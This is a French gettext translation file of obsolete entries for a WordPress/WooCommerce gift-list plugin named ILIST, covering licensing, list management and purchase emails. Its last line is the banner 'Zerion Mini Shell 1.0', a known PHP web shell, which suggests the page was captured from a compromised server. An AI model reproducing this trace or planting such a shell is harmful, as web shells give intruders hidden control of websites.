#~ "<br><br>Liste : {ILIST_NAME}<br>Nom des produits : {ILIST_PRODUCT}<br>Par : "
#~ "{ILIST_FRIEND}<br>Le : {ILIST_DATE}<br>Type d'achat : {ILIST_TYPE}"
#~ "<br>Commentaire : {ILIST_COMMENT}<br><br>L'administrateur "
#~ "{ILIST_WP_SITE_NAME} {ILIST_WP_SITE_DESC}"

#~ msgid "License plugin"
#~ msgstr "Plugin licence"

#~ msgid "ILIST License"
#~ msgstr "Licence ILIST"

#~ msgid ""
#~ "Entering your license key is mandatory to get the product updates and support"
#~ msgstr ""
#~ "La saisie de votre clé de licence est obligatoire pour obtenir les mises à "
#~ "jour et le support du produit"

#~ msgid "Unable to contact server"
#~ msgstr "Impossible de contacter le serveur"

#~ msgid "Your license is active"
#~ msgstr "Votre licence est activée"

#~ msgid "Your license is pending"
#~ msgstr "Votre licence est en attente"

#~ msgid "Your license is blocked"
#~ msgstr "Votre licence a été bloqué"

#~ msgid "Your license is expired"
#~ msgstr "Votre licence est expirée"

#~ msgid "License Created Date"
#~ msgstr "Date de création de la licence"

#~ msgid "License Date of Expiry"
#~ msgstr "Date d'expiration de la licence"

#~ msgid "License Email"
#~ msgstr "Licence Email"

#~ msgid "License Number for Domain"
#~ msgstr "Licence numéro pour ce domaine"

#~ msgid "License Registered Domain"
#~ msgstr "Licence Domaine enregistré"

#~ msgid "License Item Reference"
#~ msgstr "Licence Référence"

#~ msgid "An error occurred while checking your license.<br>Contact support"
#~ msgstr ""
#~ "Une erreur est survenue lors de la vérification de votre licence."
#~ "<br>Contactez le support"

#~ msgid "The products"
#~ msgstr "Les produits"

#~ msgid "Edit product"
#~ msgstr "Modifier le produit"

#~ msgid "All products"
#~ msgstr "Tous les produits"

#~ msgid "Product(s) successfully deleted : %d"
#~ msgstr "Produit(s) supprimé(s) avec succès : %d"

#~ msgid "Product added successfully to the list"
#~ msgstr "Produit ajouté à la liste avec succès"

#~ msgid "Reload this page"
#~ msgstr "Recharger la page"

#~ msgid "Error adding product"
#~ msgstr "Erreur lors de l'ajout du produit"

#~ msgid "Products from the list :: "
#~ msgstr "Produits de la liste :: "

#~ msgid ""
#~ "You can add / edit / delete the status of your products from <a href=\"%s"
#~ "\">status management</a>"
#~ msgstr ""
#~ "Vous pouvez ajouter / modifier / supprimer les statuts de vos produits "
#~ "depuis la <a href=\"%s\">gestion des statuts</a>"

#~ msgid "All types"
#~ msgstr "Tous les statuts"

#~ msgid "Type(s) successfully deleted : %d"
#~ msgstr "Statut(s) supprimé(s) avec succès : %d"

#~ msgid "Search in types"
#~ msgstr "Rechercher dans les statuts"

#~ msgid ""
#~ "<strong> Note: </ strong> <br> Status with <strong>ID 1 and 2</strong> can "
#~ "not be deleted. They are part of the internal process of the ILIST plugin."
#~ "<br>You can add as many as you want for the good operation of your lists."
#~ msgstr ""
#~ "<strong>Note :</strong><br>Les statuts possédant l'<strong>ID 1 et 2</"
#~ "strong> ne peuvent pas être supprimés. Ils font partie du processus interne "
#~ "du plugin ILIST.<br>Vous pouvez en ajouter autant que vous le souhaitez pour "
#~ "le bon fonctionnement de vos listes."

#~ msgid "All Lists"
#~ msgstr "Toutes les listes"

#~ msgid "Add new list"
#~ msgstr "Ajouter une liste"

#~ msgid "List(s) successfully deleted : %d"
#~ msgstr "Liste(s) spprimée(s) avec succès : %d"

#~ msgid "Search in lists"
#~ msgstr "Rechercher dans les listes"

#~ msgid "Ilists Pages Url (WooCommerce Product page)"
#~ msgstr "Url des pages Ilist (WooCommerce Product page)"

#~ msgid "Visible in the Wordpress dashboard"
#~ msgstr "Visible dans le tableau de bord de Wordpress"

#~ msgid "Go to dashboard"
#~ msgstr "Allez au tableau de bord"

#~ msgid "WP Dashboard Widget"
#~ msgstr "Widget du tableau de bord Wordpress"

#~ msgid "Yes - Default: enabled"
#~ msgstr "Oui - Défaut : activé"

#~ msgid "Url of the main page list"
#~ msgstr "Url de la page principale"

#~ msgid "Url of the search page list"
#~ msgstr "Url de la page de recherche"

#~ msgid "Front lightbox color"
#~ msgstr "Couleur de la lightbox (FRONT)"

#~ msgid "Default lightbox color"
#~ msgstr "Couleur par défaut"

#~ msgid "Lighbox preview when you click on items in a list"
#~ msgstr ""
#~ "Prévisualition de la lightbox quand vous cliquez sur un article dans une "
#~ "liste"

#~ msgid "Select your lightbox color"
#~ msgstr "Sélectionner la couleur de votre lightbox"

#~ msgid "ILIST Log"
#~ msgstr "Log ILIST"

#~ msgid "Log Activation"
#~ msgstr "Activation de la log"

#~ msgid "Yes - Default: disabled"
#~ msgstr "Oui - Défaut : désactivée"

#~ msgid "Log File"
#~ msgstr "Fichier de log"

#~ msgid "No log file"
#~ msgstr "Aucun fichier de log"

#~ msgid "Logs disabled"
#~ msgstr "Logs désactivées"

#~ msgid "No lists created"
#~ msgstr "Aucune liste créée"

#~ msgid "Last created lists"
#~ msgstr "Dernières listes créées"

#~ msgid "List Name"
#~ msgstr "Nom de la liste"

#~ msgid "Ilist summary"
#~ msgstr "Récap Ilist"

#~ msgid "Search Choice possible"
#~ msgstr "Choix possibles de la recherche"

#~ msgid ""
#~ "Search by email<br><span class=\"ilist-style-italic ilist-style-description"
#~ "\">Strict search</span>"
#~ msgstr ""
#~ "Recherche par email<br><span class=\"ilist-style-italic ilist-style-"
#~ "description\">Recherche stricte</span>"

#~ msgid ""
#~ "Search by list name<br><span class=\"ilist-style-italic ilist-style-"
#~ "description\">Permissive search</span>"
#~ msgstr ""
#~ "Recherche par nom de liste<br><span class=\"ilist-style-italic ilist-style-"
#~ "description\">Recherche permissive</span>"

#~ msgid "No - Default: disabled"
#~ msgstr "Non : Défaut : désactivé"

#~ msgid ""
#~ "Search by firstname<br><span class=\"ilist-style-italic ilist-style-"
#~ "description\">Permissive search</span>"
#~ msgstr ""
#~ "Recherche par prénom<br><span class=\"ilist-style-italic ilist-style-"
#~ "description\">Recherche permissive</span>"

#~ msgid ""
#~ "Search by lastname<br><span class=\"ilist-style-italic ilist-style-"
#~ "description\">Permissive search</span>"
#~ msgstr ""
#~ "Recherche par nom<br><span class=\"ilist-style-italic ilist-style-description"
#~ "\">Recherche permissive</span>"

#~ msgid "Adding products (Live search)"
#~ msgstr "Ajouter des produits (Live search)"

#~ msgid "Live search after entering 3 characters"
#~ msgstr "Recherche directe avec suggestion après saisie de 3 caractères"

#~ msgid "Maximum visible results (Live search)"
#~ msgstr "Résultats maximum visible (Live search)"

#~ msgid "Truncate description"
#~ msgstr "Tronquer la description"

#~ msgid "The product has been successfully removed from your list"
#~ msgstr "Le produit a été supprimé de la liste avec succès"

#~ msgid ""
#~ "An error occurred while deleting the product.<br>Retry or contact an "
#~ "administrator."
#~ msgstr ""
#~ "Une erreur est survenue lors de la suppression du produit.<br>Réessayez ou "
#~ "contactez un administrateur."

#~ msgid "This list does not exist or is disabled"
#~ msgstr "Cette liste n'existe pas ou a été désactivé"

#~ msgid "The product was not added"
#~ msgstr "Le produit n'a pas été ajouté"

#~ msgid "The product has been added to your list successfully"
#~ msgstr "Le produit a été ajouté à votre liste avec succès"

#~ msgid "Name of the list is required"
#~ msgstr "Le nom de la liste est obligatoire"

#~ msgid "The email does not have a correct format"
#~ msgstr "L'email ne possède pas un format correct"

#~ msgid "Your new list has been successfully created<br><a href=\""
#~ msgstr "Votre nouvelle liste a été créé avec succès<br><a href=\""

#~ msgid "Your new list was not created<br>Retry or contact an administrator."
#~ msgstr ""
#~ "Votre nouvelle liste n'a pas été créé<br>Réessayez ou contactez un "
#~ "administrateur."

#~ msgid "Your list was not updated<br>Retry or contact an administrator."
#~ msgstr ""
#~ "Votre liste n'a pas été modifié<br>Réessayez ou contactez un administrateur."

#~ msgid "Your list was updated successfully<br><a href=\""
#~ msgstr "Votre liste a été modifié avec succès<br><a href=\""

#~ msgid "You can not modify this list because you are not the creator"
#~ msgstr ""
#~ "Vous ne pouvez pas modifier cette liste car vous n'en n'êtes pas le créateur"

#~ msgid "See this product"
#~ msgstr "Voir le produit"

#~ msgid "Add to my list"
#~ msgstr "Ajouter à ma liste"

#~ msgid "No product found"
#~ msgstr "Aucun produit trouvé"

#~ msgid "Leave a comment if you order for a list"
#~ msgstr "Laissez un commentaire si vous avez commandé depuis une liste"

#~ msgid "Your message"
#~ msgstr "Votre message"

#~ msgid "Create a list"
#~ msgstr "Créer une liste"

#~ msgid "Add to my list "
#~ msgstr "Ajouter à ma liste "

#~ msgid "You must be logged in to view your lists and create new ones"
#~ msgstr "Vous devez être connecté pour voir vos listes et en créez de nouvelles"

#~ msgid "Name of your list"
#~ msgstr "Nom de votre liste"

#~ msgid "Enter a name which you wish to associate with this list."
#~ msgstr "Entrez un nom que vous souhaitez associer à cette liste."

#~ msgid "Email associated with the list"
#~ msgstr "Email associé à votre liste"

#~ msgid "Users will be able to find your list by searching with this email"
#~ msgstr ""
#~ "Les utilisateurs pourront trouver votre liste en recherchant avec cet email"

#~ msgid "Connexion"
#~ msgstr "Connexion"

#~ msgid "Log in"
#~ msgstr "Identification"

#~ msgid "Create account"
#~ msgstr "Créer un compte"

#~ msgid "Create a new list"
#~ msgstr "Créer une liste"

#~ msgid "Your lists"
#~ msgstr "Vos listes"

#~ msgid "Created on"
#~ msgstr "Créée le"

#~ msgid "Edit"
#~ msgstr "Modifier"

#~ msgid "Add products to the list"
#~ msgstr "Ajouter des produits à la liste"

#~ msgid "You have not created lists yet"
#~ msgstr "Vous n'avez pas encore créé de listes"

#~ msgid "Add products to your list"
#~ msgstr "Ajouter des produits à votre liste"

#~ msgid "Enter product name of your shop (3 characters min.)"
#~ msgstr "Entrez le nom du produit de votre boutique (3 caractères min.)"

#~ msgid "The WooCommerce Plugin is not installed"
#~ msgstr "Le plugin WooCommerce n'est pas installé"

#~ msgid "Price"
#~ msgstr "Prix"

#~ msgid "Action"
#~ msgstr "Action"

#~ msgid "Not still bought"
#~ msgstr "Pas encore acheté"

#~ msgid "Select options"
#~ msgstr "Sélectionnez des options"

#~ msgid "Read More"
#~ msgstr "Lire plus"

#~ msgid "Add to cart"
#~ msgstr "Ajouter au panier"

#~ msgid "Offered by "
#~ msgstr "Offert par "

#~ msgid "Offered product"
#~ msgstr "Produit offert"

#~ msgid "No available product for this list"
#~ msgstr "Aucun produit disponible pour cette liste"

#~ msgid "Find a list"
#~ msgstr "Trouver une liste"

#~ msgid "Enter name, email"
#~ msgstr "Entrez un nom, un email"

#~ msgid "Name of list"
#~ msgstr "Nom de la liste"

#~ msgid "Created"
#~ msgstr "Créée"

#~ msgid "No list found"
#~ msgstr "Aucune liste trouvée"

#~ msgid ""
#~ "ILIST: You must complete your settings Automatic emails before using the "
#~ "plugin (Save your <a href=\"%s\">email settings</a>)"
#~ msgstr ""
#~ "ILIST : Vous devez finaliser vos paramètres Emails automatiques (Enregistrer "
#~ "vos <a href=\"%s\">paramètres de messagerie</a>)"

#~ msgid ""
#~ "Do not indicate anything if no comment.<br>It will not be saved if it was "
#~ "not dropped during an Internet order."
#~ msgstr ""
#~ "N'indiquez rien si pas de commentaire.<br>Ne sera pas sauvegardé si celui-ci "
#~ "n'a pas été déposé lors d'une commande Internet"

#~ msgid "Do not indicate anything if no comment"
#~ msgstr "N'indiquez rien si pas de commentaire"

#~ msgid "Recommended minimum version 3.0"
#~ msgstr "Version minimum conseillée 3.0"

#~ msgid "Purchase shop (Withdrawal in shop)"
#~ msgstr "Achat boutique (retrait en boutique)"

#~ msgid "Purchase shop (Taken by the participant)"
#~ msgstr "Achat boutique (emporté par le participant)"

#~ msgid "<span class=\"buy_shop\">Purchase shop (Withdrawal in shop)</span>"
#~ msgstr "<span class=\"buy_shop\">Achat boutique (retrait en boutique)</span>"

#~ msgid ""
#~ "<span class=\"buy_shop\">Purchase shop (Taken by the participant)</span>"
#~ msgstr ""
#~ "<span class=\"buy_shop\">Achat boutique (emporté par le participant)</span>"

#~ msgid "<span class=\"buy_internet\">Internet purchase</span>"
#~ msgstr "<span class=\"buy_internet\">Achat Internet</span>"

#~ msgid "On sale"
#~ msgstr "En vente"

#~ msgid ""
#~ "You can add / modify / delete the status of your products from <a href=\"%s"
#~ "\">status management</a>"
#~ msgstr ""
#~ "Vous pouvez ajouter/modifier/supprimer les statuts de vos produits depuis la "
#~ "<a href=\"%s\">gestion des statuts</a>"

#~ msgid "identifiant"
#~ msgstr "identifiant"

#~ msgid "Slug name"
#~ msgstr "Identifiant"

#~ msgid ""
#~ "The NAME is the URL-friendly version of the Status Title. It is usually all "
#~ "lowercase and contains only letters, numbers, and hyphens. You can leave it "
#~ "blank at creation, it will be created automatically."
#~ msgstr ""
#~ "L'identifiant est la version normalisée du titre. Il ne contient "
#~ "généralement que des lettres minuscules non accentuées, des chiffres et des "
#~ "traits d'union. Vous pouvez le laisser vide lors de la création, il sera "
#~ "créé automatiquement."

#~ msgid "Type name is required"
#~ msgstr "L'identifiant du type est obligatoire"

#~ msgid "id"
#~ msgstr "id"

#~ msgid ""
#~ "The NAME is the URL-friendly version of the name. It is usually all "
#~ "lowercase and contains only letters, numbers, and hyphens. You can leave it "
#~ "blank at creation, it will be created automatically."
#~ msgstr ""
#~ "L'identifiant est la version normalisée du nom. Il ne contient généralement "
#~ "que des lettres minuscules non accentuées, des chiffres et des traits "
#~ "d'union. Vous pouvez le laisser vide lors de la création, il sera créé "
#~ "automatiquement."

#~ msgid "Title status"
#~ msgstr "Titre"

#~ msgid "Status name of your product"
#~ msgstr "Nom du statut/état de votre produit"

#~ msgid "An error occurred while checking your license. Contact support"
#~ msgstr ""
#~ "Une erreur s'est produite lors de la vérification de votre licence.Contacter "
#~ "le support"

#~ msgid "Please enter your license key to receive updates"
#~ msgstr "Entrez votre numéro de licence pour recevoir les mises à jours"

#~ msgid "Entering your license key is mandatory to get the product updates."
#~ msgstr ""
#~ "La saisie de votre numéro de licence est obligatoire pour obtenir les mises "
#~ "à jour du plugin."

#~ msgid ""
#~ "A product (or more) has just been purchased on one of your lists:"
#~ "<br><br>List Name: {ILIST_NAME}<br>Product(s) Name: {ILIST_PRODUCT}<br>By: "
#~ "{ILIST_FRIEND}<br>Date: {ILIST_DATE}<br>Purchase Type: {ILIST_TYPE}"
#~ "<br>Comment: {ILIST_COMMENT}<br><br>{ILIST_WP_SITE_NAME} {ILIST_WP_SITE_DESC}"
#~ "<br>See you soon"
#~ msgstr ""
#~ "Bonjour,<br><br>Un produit (ou plus) vient d'être acheté sur une de vos "
#~ "listes :<br><br>Nom de la liste : {ILIST_NAME}<br>Nom des produits : "
#~ "{ILIST_PRODUCT}<br>Par : {ILIST_FRIEND}<br>Le : {ILIST_DATE}<br>Type "
#~ "d'achat : {ILIST_TYPE}<br>Commentaire : {ILIST_COMMENT}"
#~ "<br><br>{ILIST_WP_SITE_NAME} {ILIST_WP_SITE_DESC}<br>A bientôt"

#~ msgid "Live search after 3 characters"
#~ msgstr "Recherche directe après saisie de 3 caractères"

#~ msgid "Live search"
#~ msgstr "Recherche en direct"

#~ msgid ""
#~ "A product has just been purchased on one of your lists:<br><br>List Name: "
#~ "{ILIST_NAME}<br>Product Name: {ILIST_PRODUCT}<br>By: {ILIST_FRIEND}<br>Date: "
#~ "{ILIST_DATE}<br>Purchase Type: {ILIST_TYPE}<br>Comment: {ILIST_COMMENT}"
#~ "<br><br>{ILIST_WP_SITE_NAME} {ILIST_WP_SITE_DESC}<br>See you soon"
#~ msgstr ""
#~ "Bonjour,<br><br>Un produit vient d'être acheté sur une de vos listes :"
#~ "<br><br>Nom de la liste : {ILIST_NAME}<br>Nom du produit : {ILIST_PRODUCT}"
#~ "<br>Par : {ILIST_FRIEND}<br>Le : {ILIST_DATE}<br>Type d'achat : {ILIST_TYPE}"
#~ "<br>Commentaire : {ILIST_COMMENT}<br><br>{ILIST_WP_SITE_NAME} "
#~ "{ILIST_WP_SITE_DESC}<br>A bientôt"

#~ msgid ""
#~ "A product has just been purchased on one of your lists:<br>\n"
#~ "<br>\n"
#~ "List Name: {ILIST_NAME}<br>\n"
#~ "Product Name: {ILIST_PRODUCT}<br>\n"
#~ "By: {ILIST_FRIEND}<br>\n"
#~ "Date: {ILIST_DATE}<br>\n"
#~ "Purchase Type: {ILIST_TYPE}<br>\n"
#~ "Comment: {ILIST_COMMENT}<br>\n"
#~ "<br>\n"
#~ "{ILIST_WP_SITE_NAME} {ILIST_WP_SITE_DESC}<br>\n"
#~ "See you soon"
#~ msgstr ""
#~ "Bonjour,\n"
#~ "\n"
#~ "Un produit vient d'être acheté sur une de vos listes de naissance :\n"
#~ "\n"
#~ "Nom de la liste : {BIRTHLIST_NAME}\n"
#~ "Nom du produit : {BIRTHLIST_PRODUCT}\n"
#~ "Par : {BIRTHLIST_FRIEND}\n"
#~ "Le : {BIRTHLIST_DATE}\n"
#~ "Type d'achat : {BIRTHLIST_TYPE}\n"
#~ "Commentaire : {BIRTHLIST_COMMENT}\n"
#~ "\n"
#~ "Toute l'équipe de CHOO Design\n"
#~ "A bientôt"

#~ msgid ""
#~ "ILIST: You must complete your settings Automatic emails before using the "
#~ "plugin (Save your email settings)"
#~ msgstr ""
#~ "ILIST : Vous devez finaliser vos paramètres Messagerie automatique avant "
#~ "d'utiliser le plugin (Enregistrer vos paramètres de messagerie)"

#~ msgid ""
#~ "ILIST: You must complete your settings Automatic emails (Save your email "
#~ "settings)"
#~ msgstr ""
#~ "ILIST : Vous devez finaliser vos paramètres Messagerie automatique "
#~ "(Enregistrer vos paramètres de messagerie)"

#~ msgid "Lighbox when you click on items in a list"
#~ msgstr "Lightbox quand vous cliquez sur un article dans une liste"

#~ msgid "List :: %s"
#~ msgstr "Liste :: %s"

#~ msgid "Url of the page list"
#~ msgstr "Url de la page"

#~ msgid "Url of the page search list"
#~ msgstr "Url de la page de recherche"

#~ msgid "Page Url 'Lists' (WooCommerce Product page)"
#~ msgstr "Url de la page 'Listes' (page produit WooCommerce)"

#~ msgid "Ilist page link"
#~ msgstr "Lien de la page Ilist"

#~ msgid "Ilist search page link"
#~ msgstr "Lien de la page de recherche Ilist"

#~ msgid "Lists"
#~ msgstr "Listes"

#~ msgid "Shortcodes"
#~ msgstr "Shortcodes"

#~ msgid "General Shortcode"
#~ msgstr "Shortcode général"

#~ msgid ""
#~ "To put in the textarea of your page (url customized to your wishes for the "
#~ "SEO)"
#~ msgstr ""
#~ "A mettre dans votre zone de texte de votre page (URL personnalisée à vos "
#~ "souhaits pour le référencement)"

#~ msgid "Search Shortcode"
#~ msgstr "Shortcode recherche"

#~ msgid "Welcome to the \""
#~ msgstr "Bienvenue sur le plugin \""

#~ msgid "Page Url 'Lists' (Product page WooCommerce)"
#~ msgstr "Url de la page 'Listes' (page produit WooCommerce)"

#~ msgid "Dashboard Widget"
#~ msgstr "Widget du tableau de bord Wordpress"

#~ msgid "The product &laquo; "
#~ msgstr "Le produit &laquo; "

#~ msgid "Welcome to the \"Lists\" plugin"
#~ msgstr "Bienvenue sur le plugin \"ILists\""

#~ msgid ""
#~ "Search by email<br><span class=\"naissance-style-italic naissance-style-"
#~ "description\">Strict search</span>"
#~ msgstr ""
#~ "Recherche par email<br><span class=\"naissance-style-italic naissance-style-"
#~ "description\">Recherche stricte</span>"

#~ msgid ""
#~ "Search by list name<br><span class=\"naissance-style-italic naissance-style-"
#~ "description\">Permissive search</span>"
#~ msgstr ""
#~ "Recherche par nom de liste<br><span class=\"naissance-style-italic naissance-"
#~ "style-description\">Recherche permissive</span>"

#~ msgid ""
#~ "Search by firstname<br><span class=\"naissance-style-italic naissance-style-"
#~ "description\">Permissive search</span>"
#~ msgstr ""
#~ "Recherche par prénom<br><span class=\"naissance-style-italic naissance-style-"
#~ "description\">Recherche permissive</span>"

#~ msgid ""
#~ "Search by lastname<br><span class=\"naissance-style-italic naissance-style-"
#~ "description\">Permissive search</span>"
#~ msgstr ""
#~ "Recherche par nom<br><span class=\"naissance-style-italic naissance-style-"
#~ "description\">Recherche permissive</span>"

#~ msgid "Emails"
#~ msgstr "Emails"

#~ msgid ""
#~ "To put in the textarea of ​​your page (url customized to your wishes for the "
#~ "SEO)"
#~ msgstr ""
#~ "A mettre dans la zone de texte de votre page (URL personnalisée à vos "
#~ "souhaits pour le référencement)"

#~ msgid "Supprimer"
#~ msgstr "Supprimer"

Zerion Mini Shell 1.0